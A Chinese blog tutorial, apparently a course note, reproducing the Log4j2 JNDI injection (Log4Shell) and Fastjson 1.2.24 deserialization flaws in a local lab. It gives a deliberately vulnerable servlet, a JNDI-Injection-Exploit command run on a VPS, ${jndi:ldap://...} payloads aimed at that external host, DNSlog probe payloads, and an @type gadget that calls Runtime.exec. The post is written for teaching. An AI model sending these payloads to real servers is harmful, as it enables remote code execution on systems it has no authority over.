从0到1java安全5

知识点

1、JavaEE-组件安全-Log4j

2、JavaEE-组件安全-Fastjson

3、JavaEE-基本了解-JNDI-API

JNDI注入:(见图)
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

#Java-三方组件-Log4J&JNDI
Log4J:
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现
1、Maven引用Log4j
2、接受用户输入值
3、Log4j处理错误输入
4、利用jndi-ldap执行
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

#Java-三方组件-FastJson&反射
FastJson:
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现
1、Maven引用Fastjson
2、创建需转换类对象User
3、使用Fastjson进行数据转换
4、数据转换(对象转Json,Json转对象)
-对象转Json(带类型)
JSONObject.toJSONString(u)
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
-Json转对象
JSON.parseObject(exp)

Test:
Runtime.getRuntime().exec("calc");
服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

img

环境配置

配置maven

Jar仓库:
https://mvnrepository.com/

Maven配置:
https://www.jb51.net/article/259780.htm

这边选用的历史的3.8.8版本(进不去开代理)

在这里插入图片描述

解压下载好的文件:

在这里插入图片描述

创建一个文件夹maven-repository用来充当本地仓库:

在这里插入图片描述

配置环境变量

新建一个MAVEN_HOME,添加Maven的路径:

在这里插入图片描述

在这里插入图片描述

编辑Path,新建一个环境变量%MAVEN_HOME%\bin:

在这里插入图片描述

在命令窗口输入命令mvn -v检查Maven是否安装成功:

在这里插入图片描述

:使用Maven需要先安装好Java环境。

更改Maven中的设置

编辑settings.xml

打开安装目录…\apache-maven-3.8.4\conf下的settings.xml文件:

在这里插入图片描述

配置本地仓库

settings标签的后面找到localRepository的位置,在下面添加以下代码以更改本地仓库的位置:

在这里插入图片描述

:中间添加的是本地仓库的路径,就是前面创建好的文件夹路径。

更换默认更新源

找到<mirrors></mirrors>标签,在里面添加以下代码,使用阿里云镜像:

<mirror> 
    <id>nexus-aliyun</id> 
    <mirrorOf>central</mirrorOf> 
    <name>Nexus aliyun</name> 
    <url>https://maven.aliyun.com/nexus/content/groups/public/</url> 
</mirror>

在这里插入图片描述

添加JDK的版本

找到<profiles></profile>标签,在里面添加以下代码,配置JDK的版本,要与安装的版本对应(这里用的jdk1.8):

<profile>
    <id>jdk-1.8</id>
    <activation>
        <activeByDefault>true</activeByDefault>
        <jdk>1.8</jdk>
    </activation>
 
    <properties>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
        <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>
    </properties>
</profile>

在这里插入图片描述

配置IDEA内置的Maven

我们IDEA设置Maven的时候可以看到,其实IDEA已经自带了Maven,直接配置IDEA中的Maven可以省去下载Maven的步骤了。

需要设置的settings.xml在IDEA安装目录下..\plugins\maven\lib\maven3\conf\settings:(就是将刚刚的文件复制过来。。。)

在这里插入图片描述

在设置中用默认的Maven即可
在这里插入图片描述

项目案例

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

Java-三方组件-Log4J&JNDI

新建项目Log4jDemo,进行简单使用

在这里插入图片描述

完毕后,外部库没有log4j,需要导入一下

在这里插入图片描述

Jar仓库:
https://mvnrepository.com/

搜索log4j,选择2.14.1版本。找到maven,将配置信息复制到pom.xml当中。

在这里插入图片描述

在这里插入图片描述

pom.xml

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

配置完成后点击刷新,就开始加载(如果加载慢,开代理)

在这里插入图片描述

在这里插入图片描述

创建log4j的类,写入代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jTest {

    //使用log4j实现错误日志输出
    private static final Logger log =  LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {

        String code = "${java:os}";
        log.error("{}",code);
    }


}

在这里插入图片描述

这里要用的是log4j的日志包,不是第二个自带的日志包,注意区别!!!

在这里插入图片描述

在这里插入图片描述

运行代码后。

在这里插入图片描述

如果code是一个可控的参数,那么可能会导致RCE。

新建一个Log4jWebDemo,来进行测试

在这里插入图片描述

在这里插入图片描述

导入Log4j组件

在这里插入图片描述

创建Log4jServlet

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Log4jServlet extends HttpServlet {

    //拿到日志
    private static final Logger log = LogManager.getLogger(Log4jServlet.class);

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code = req.getParameter("code");
        log.error("{}",code);
    }
}

解决这个问题

在这里插入图片描述

解决报错

在./conf/service.xml 中重写Connector这个地方 。

<Connector port="8080" protocol="HTTP/1.1"
         connectionTimeout="30000"
               maxThreads="800"
               minSpareThreads="50"
         redirectPort="8443"
         URIEncoding="ISO-8859-1"
         relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>
————————————————
版权声明:本文为CSDN博主「北漂青年003」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changyj159635/article/details/104601920

在这里插入图片描述

再贴一次代码

package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class    Log4jServlet extends HttpServlet {

    //构造HTTP Web服务 使用带漏洞log4j版本的 实现功能
    private static final Logger log = LogManager.getLogger(Log4jServlet.class);

    //使用
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code = req.getParameter("code");
        log.error("{}",code);
    }
}

请求访问/log4j?code=${java:os},控制台输出了环境。

/log4j?code=${java:vm}

在这里插入图片描述

在这里插入图片描述

当我们取消掉 符号时,会发现原样输出。所以必须有 符号时,会发现原样输出。所以必须有 符号时,会发现原样输出。所以必须有符号

在这里插入图片描述

在这里插入图片描述

JNDI命令执行-Log4j2漏洞原理

JNDI的组成

JNDI的api下有ladp\DNS\RMI的使用协议

img

使用JNDI进行命令执行。

#JNDI下载地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

在VPS启动并运行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C "calc" -A 47.115.204.183	//-A 后边的参数是自己的IP地址	-C 执行的命令

选用JDK1.8版本,因为电脑环境的JAVA版本是1.8。选用ldap协议,也可以使用rmi,DNS。

(这里在下个知识点会讲到rmi和ldap协议之间的区别,为什么会选用ldap)

//生成的这个东西,是远程可访问的class类,当有人请求这个类时,会执行类里面的clac的代码
//clac的这个命令就是上边-C 写的命令

ldap://47.115.204.183:1389/sivldg

在这里插入图片描述

用这个和上边的特性组合起来,构造payload

${jndi:ldap://47.115.204.183:1389/sivldg}

放入code参数中,会发现本地弹出了计算器。

在这里插入图片描述

在这里插入图片描述

上边进行的操作就是当年2021震惊全球的log4j2的流程

Log4j2漏洞原理

在这里插入图片描述

1、开发源码中引用存在漏洞的log4j

2、开发中使用组件的代码(触发漏洞代码)

3、可控变量传递Payload实现攻击

在实际的过程中,我们无法判断对方的触发点在哪里,所以大概率是在所有能接收参数的地方来进行判断。这里用DNSlog来进行判断,解决数据无回显问题当有触发点时,将它换成JNDI的命令执行。

下面进行操作。

在DNSlog中申请一个

http://www.dnslog.cn/

在这里插入图片描述

重写payloda

${jndi:ldap://81qflc.dnslog.cn}
${jndi:dns://81qflc.dnslog.cn}

启动,还是原来的code写入参数

在这里插入图片描述

会发现收到了数据包,证明存在数据请求。这里使用的时ldao协议,其它的协议也可以触发请求(dns)。

这边测试rmi无法请求地址。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Java-三方组件-FastJson&反射

FastJson:

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包

人话就是,数据格式转换的

新建项目FastJsonDemo

还是老样子的配置,下一步后改成java8。创建即可

在这里插入图片描述

在这里插入图片描述

https://mvnrepository.com/	//找到fastjson1的1.2.24版本并引用

在这里插入图片描述

在pox.xml中插入fastjson的引用,并用maven加载

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

在这里插入图片描述

新建User类

package com.FastjsonDemo;

public class User {

    //写一些用来转换的内容

    private String name;

    private String age;

    public String getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(String age) {
        this.age = age;
        System.out.println(age);
    }

    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }
}

在这里插入图片描述

新建一个FastjsonTest类

package com.FastjsonDemo;

//使用fastjson去处理User类的数据
public class FastjsonTest {
    public static void main(String[] args) {

        //user Object对象
        //Integer age String name 字符串数据
        User user =new User();
        user.setName("zhangsanSEC");
        user.setAge("30");
        System.out.println(user);
    }
}

在这里插入图片描述

完成后运行数据是这个样子的。

在这里插入图片描述

在使用Fastjson转换为json格式

关键代码

        //使用fastjson将数据转换为json格式,序列化转换
        String jsonString = JSONObject.toJSONString(user);
        System.out.println(jsonString);
package com.FastjsonDemo;

import com.alibaba.fastjson.JSONObject;

//使用fastjson去处理User类的数据
public class FastjsonTest {
    public static void main(String[] args) {

        //user Object对象
        //Integer age String name 字符串数据
        User user =new User();
        user.setName("zhangsanSEC");
        user.setAge("30");
        //System.out.println(user);


        //使用fastjson将数据转换为json格式
        String jsonString = JSONObject.toJSONString(user);
        System.out.println(jsonString);

    }
}

在这里插入图片描述

分析漏洞利用,输出转换的数据类型(类),有一个@type的参数,默认有但是不显示,这里使用 SerializerFeature.WriteClassName,来显示这个参数

        //分析漏洞利用,输出转换的数据类型(类)
        String jsonString1 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);

在这里插入图片描述

上述的操作:对象-》json

下边的操作:json-》对象

我们可以看到当执行的东西为json时,使用到JSON.parseObject(),会将JSON转化为对象(用到了反序列化转换)

        //将JSON-》对象
        String test = "{\"@type\":\"com.FastjsonDemo.User\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";
        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println(jsonObject);

package com.FastjsonDemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类的数据
public class FastjsonTest {
    public static void main(String[] args) {

        //user Object对象
        //Integer age String name 字符串数据
        User user =new User();
        user.setName("zhangsanSEC");
        user.setAge("30");
        //System.out.println(user);


        //使用fastjson将数据转换为json格式
        String jsonString = JSONObject.toJSONString(user);
        System.out.println(jsonString);

        //分析漏洞利用,输出转换的数据类型(类)
        String jsonString1 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);

        System.out.println("\n");

        //将JSON-》对象
        String test = "{\"@type\":\"com.FastjsonDemo.User\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";
        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println(jsonObject);

    }
}

在这里插入图片描述

新建Run类

package com.FastjsonDemo;

import java.io.IOException;

public class Run {
    public Run() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

在这里插入图片描述

修改FastjsonTest

String test = “{”@type":“com.FastjsonDemo.Run”,“age”:“30”,“name”:“zhangsanSEC”}";

也就是我们将类指向为下边的Run类,而不是User类。那么将弹出计算器

在这里插入图片描述

这个就是fastjson的漏洞原理

实战当中没有Run的理想环境,就只能找到固定的利用链去触发该漏洞

如果没有报错回显,利用dnslog进行回显

{“test”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog的地址”}}

jndi注入原理

就是用下面得3个协议ldap,rmi,dns。远程请求加载class数据,或者请求DNSlog的地址。

fastjson 1.2.24 反序列化

去找找网上的payload进行操作

https://blog.csdn.net/weixin_44033675/article/details/119062455

json-》对象

“@type”:“操作对象包名”

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值